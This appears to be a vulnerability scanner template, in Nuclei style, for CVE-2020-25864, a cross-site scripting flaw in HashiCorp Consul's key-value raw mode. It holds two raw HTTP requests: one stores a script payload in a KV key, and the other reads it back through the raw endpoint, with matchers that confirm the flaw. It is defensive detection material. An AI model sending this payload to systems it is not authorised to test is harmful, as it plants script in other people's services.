2022-02-17 18:25:37 +00:00
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id: CVE-2020-25864
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info:
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name: HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting
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severity: medium
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author: c-sh0
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reference:
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- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
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- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.10
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cve-id: CVE-2020-25864
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cwe-id: CWE-79
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tags: cve,cve2020,consul,xss
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requests:
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- raw:
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- |
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PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
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Host: {{Hostname}}
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<!DOCTYPE html><script>alert(document.domain)</script>
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- |
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GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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2022-02-17 20:45:13 +00:00
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- type: word
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part: header
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words:
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- "text/html"
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2022-02-17 18:25:37 +00:00
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- type: word
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part: body_2
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words:
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- "<!DOCTYPE html><script>alert(document.domain)</script>"
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